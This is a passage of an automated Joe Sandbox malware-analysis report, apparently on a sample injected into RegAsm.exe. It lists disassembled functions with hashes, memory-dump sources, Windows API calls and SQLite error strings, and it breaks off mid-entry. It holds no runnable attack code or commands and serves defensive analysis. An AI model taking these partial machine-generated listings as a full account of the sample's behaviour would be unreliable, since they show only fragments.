Instruction ID: 7fd9a34fe46a5c4f1fccfe89e7a16a6b606f491ef7cafc3a1486807d1e5eaacc
Opcode Fuzzy Hash: 5c774c47b6a9675dd65075952b293d755934f43d5f614443fa3833aee0961d51
Instruction Fuzzy Hash: 8F5116716043964AE721CF74D84579BFFE49F46310F084AA9E8C68B362E3A9E589C371

Function 1FED7DA0 Relevance: 6.2, APIs: 4, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6689805248dabf155243b583eda3575133024555e5930dafc89f56bff88e63cc
Instruction ID: f23c466059b11d78a7a0ee83f60d096cc6c02f8b72781de529e1b4d98d7e94f7
Opcode Fuzzy Hash: 6689805248dabf155243b583eda3575133024555e5930dafc89f56bff88e63cc
Instruction Fuzzy Hash: 6641A8366007419FD314CF19DD80A52F7E1FB84328F24856EE9468BE62E772F852CB90

Function 1FEDCAE0 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a94e868a7c15ee1c82683d8a324e259145cf585f3f948950c72bd39365ffba5
Instruction ID: 91434047f9a806a26192304c2b8693c9c96edd9582a89b086b4830948861d468
Opcode Fuzzy Hash: 2a94e868a7c15ee1c82683d8a324e259145cf585f3f948950c72bd39365ffba5
Instruction Fuzzy Hash: F031BFB6A05B119FE7108F78D840B5AB3A4FF84365F00097AF909CBA50E361F865D7A2

Function 0041BAFC Relevance: 6.1, APIs: 4, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0041BB4F
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 0041BB7F
GetLocalTime.KERNEL32(?), ref: 0041BBAB
SystemTimeToFileTime.KERNEL32(?,?), ref: 0041BBB9

Part of subcall function 0041B4C7: GetFileInformationByHandle.KERNEL32(?,?), ref: 0041B4FB

Memory Dump Source

Source File: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystem
String ID:
API String ID: 3986731826-0
Opcode ID: db83e9bd03f20f0802d5b345a5b4afecd57467b7962f6c1e7992c50acbe216a4
Instruction ID: dbc83092b0f626d50adf2dbfe7b26157fecb9cd20948a4fb95df0012db9b5bc0
Opcode Fuzzy Hash: db83e9bd03f20f0802d5b345a5b4afecd57467b7962f6c1e7992c50acbe216a4
Instruction Fuzzy Hash: A2416A71900209DFCF10DF69C880ADEBBF8FF48310F14426AE855EB266E7749985CBA4

Function 1FEDB1F0 Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c84fadece956eb82bcd06ee462d33b28814fba88082786c6e23e5494ba88420
Instruction ID: 6a4d07ba422845d0fed105433e5118f0c6bbefc9a76c18d938eadc8ce74ff702
Opcode Fuzzy Hash: 2c84fadece956eb82bcd06ee462d33b28814fba88082786c6e23e5494ba88420
Instruction Fuzzy Hash: 80318276504B819FDB20CB25E84069BB7E1FFD5318F08896EE4DA86E00E371F48AC791

Function 1FF4CFE0 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67f155ee4936aae19aec06cb809ffc92085dd37a0bce870209c165f40ac7d322
Instruction ID: e850db771684da9bb6f7fec452ef78299cf2bf02979dcbccaecebd52d890fd3d
Opcode Fuzzy Hash: 67f155ee4936aae19aec06cb809ffc92085dd37a0bce870209c165f40ac7d322
Instruction Fuzzy Hash: 5921AF756007059FD760EF68D880A5ABBE0EF98340F90086DF995C3361E771F6588B92

Function 200AF4CA Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000000,?,00000001,00000000,?,?,00000000), ref: 200AF4E0
GetLastError.KERNEL32(?,?,?,?), ref: 200AF4ED
SetFilePointerEx.KERNEL32(?,?,?,?,?), ref: 200AF513
SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000,?,?,?), ref: 200AF539

Memory Dump Source

Source File: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: FilePointer$ErrorLast
String ID:
API String ID: 142388799-0
Opcode ID: 41d35e9780e369d1f541435bac8394a124571191c1234f85bf9ee540bd13310c
Instruction ID: 7740a3fe2a6a6b902e00f13c7cd5fc8505dd9ea865fc899d5dcfedadba27662a
Opcode Fuzzy Hash: 41d35e9780e369d1f541435bac8394a124571191c1234f85bf9ee540bd13310c
Instruction Fuzzy Hash: 4C115A72904619BBEF109FE5CC08DEF3FB9EF05760F108154FA24921A0DB319A40EBA0

Function 00410B78 Relevance: 6.0, APIs: 4, Instructions: 39memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00410B90
RtlAllocateHeap.NTDLL(00000000), ref: 00410B97
GetLocalTime.KERNEL32(?), ref: 00410BA3
wsprintfA.USER32 ref: 00410BCE

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 63f27ff36ed37ae45a3afc8e64de455d2dc37c30c5bed2dbc23d2928477f7fee
Instruction ID: 6d4a2e59077e57e7571df6ea0fc5b6a218b728ca4213edcef53048e38e15c259
Opcode Fuzzy Hash: 63f27ff36ed37ae45a3afc8e64de455d2dc37c30c5bed2dbc23d2928477f7fee
Instruction Fuzzy Hash: 7EF0E1B6D00118FBCB509BEADD45ABFB7FDAF0C601F001066FA46E2190D6789A44D7B5

Function 1FEB2ABD Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 200B1382
GetLastError.KERNEL32 ref: 200B138E
___initconout.LIBCMT ref: 200B139E

Part of subcall function 200B1303: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,200B13A3), ref: 200B1316

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 200B13B3

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: ConsoleWrite$CreateErrorFileLast___initconout
String ID:
API String ID: 3431868840-0
Opcode ID: 713133a2cab140b6c162ec73f265ac4eb6717572701bbe0d7fe9ec5bcdc0316e
Instruction ID: 7d1e374e4fbac2668114f46c17d3a1dbde8b29f2b2c5ed14fdf6b2a45b585980
Opcode Fuzzy Hash: 713133a2cab140b6c162ec73f265ac4eb6717572701bbe0d7fe9ec5bcdc0316e
Instruction Fuzzy Hash: 75F01236108515BBFF221FD5DC089CA3FA5FB496A1F414024F91885530DE3A9E60FBD1

Function 1FECBE80 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 314COMMON

Download Yara Rule

Strings

string or blob too big, xrefs: 1FECC1B5

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: string or blob too big
API String ID: 0-2803948771
Opcode ID: b62d040778ac52b40977b5353db50af87c1f880ae6e390601d911b27764ae853
Instruction ID: 5f69ad4acbd4b3a4bdd22c5f1ba3890a5839c779daa782a6a132a6549513c3b2
Opcode Fuzzy Hash: b62d040778ac52b40977b5353db50af87c1f880ae6e390601d911b27764ae853
Instruction Fuzzy Hash: 67A13B75908BC68FE7048E2C8E51756B7E2AF89328F190B6DF8A1473D1E770E4958B81

Function 20037300 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 242COMMON

Download Yara Rule

Strings

-, xrefs: 20037538
%!.15g, xrefs: 200375C3

Memory Dump Source

Source File: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %!.15g$-
API String ID: 0-583212262
Opcode ID: 1fd36a048704b63b53e00ca7f50947b87f2c38ebf04e633f4d94509a4b1b8abb
Instruction ID: ca61f88fe617d829f10b5edb37601c023a7b29e6784e8b0b3af96a8b53059334
Opcode Fuzzy Hash: 1fd36a048704b63b53e00ca7f50947b87f2c38ebf04e633f4d94509a4b1b8abb
Instruction Fuzzy Hash: 59915B71A087458FE308DF6DD89175AFBE0AFC8344F44492DE588C7351E7B9D9098B92

Function 1FEFCBF0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

string or blob too big, xrefs: 1FEFCE39

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: string or blob too big
API String ID: 0-2803948771
Opcode ID: f2c29b75e633ed7e5c72f9d72fdb49b5ae4c1dd5286f0dc33b49df2f2771ada4
Instruction ID: 0c0188cc263a6353ad750791f2e5ea60d653f3f5601d595dc78739e4c70291b7
Opcode Fuzzy Hash: f2c29b75e633ed7e5c72f9d72fdb49b5ae4c1dd5286f0dc33b49df2f2771ada4
Instruction Fuzzy Hash: 3F812475B04B058FD300CF2CC881B5BB7E5BF84318F250A58F985A7252E376EA65C792

Function 1FFD78F0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 214COMMON

Download Yara Rule

Strings

?, xrefs: 1FFD794A
*, xrefs: 1FFD7982

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: *$?
API String ID: 0-2367018687
Opcode ID: fe9267db80168b88c2f73500ba6c2e81f3e5056a3673d1583a3f2059a00719a7
Instruction ID: 83af44006ab9d33ec80f1608f06ca2690c03c6cf9aaa458d2235fe8a29ba0494
Opcode Fuzzy Hash: fe9267db80168b88c2f73500ba6c2e81f3e5056a3673d1583a3f2059a00719a7
Instruction Fuzzy Hash: E9710B726087928FD3148F28CC8471BBBE5EF85204F58459DF8C58F225E7B5E945C7A2

Function 1FECC8E0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 206COMMON

Download Yara Rule

Strings

LIKE or GLOB pattern too complex, xrefs: 1FECC94F
ESCAPE expression must be a single character, xrefs: 1FECCA43

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 0-264706735
Opcode ID: b6daa49739e63ba2f197e28932b215fadd82bef167f2f3433110b1cd6c4b8258
Instruction ID: aee48686b94aadcbb5b8f97b7ff63d4861c7d22e2459b20abebbf1e9b3ae9004
Opcode Fuzzy Hash: b6daa49739e63ba2f197e28932b215fadd82bef167f2f3433110b1cd6c4b8258
Instruction Fuzzy Hash: 96619C71904AD14FE704CA2CD985BA97791AB4632CF28428DF4979F2E3E376E4A2C351

Function 1FEB28A6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 147COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(20099F34,00000001,200ED4A8,00000014), ref: 2009A544
GetLastError.KERNEL32 ref: 2009A557

Strings

~ , xrefs: 2009A496

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: ConsoleCtrlErrorHandlerLast
String ID: ~
API String ID: 3113525192-4226816681
Opcode ID: 78ff33f1586ff0fb7e7f3d014b019fa94c26e0c40db8dd3c0c65b2fb5ff41a18
Instruction ID: fb7a2ce08b43cab9d4fd6d58a0052f64f60a6351726cf7c9a41ef2753f42fc69
Opcode Fuzzy Hash: 78ff33f1586ff0fb7e7f3d014b019fa94c26e0c40db8dd3c0c65b2fb5ff41a18
Instruction Fuzzy Hash: 50412972B00B1D8FFB119FDAC88465C73E1AB87B54B124039EA09A7160DB34DD80F6E1

Function 1FECD0F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

string or blob too big, xrefs: 1FECD213

Memory Dump Source

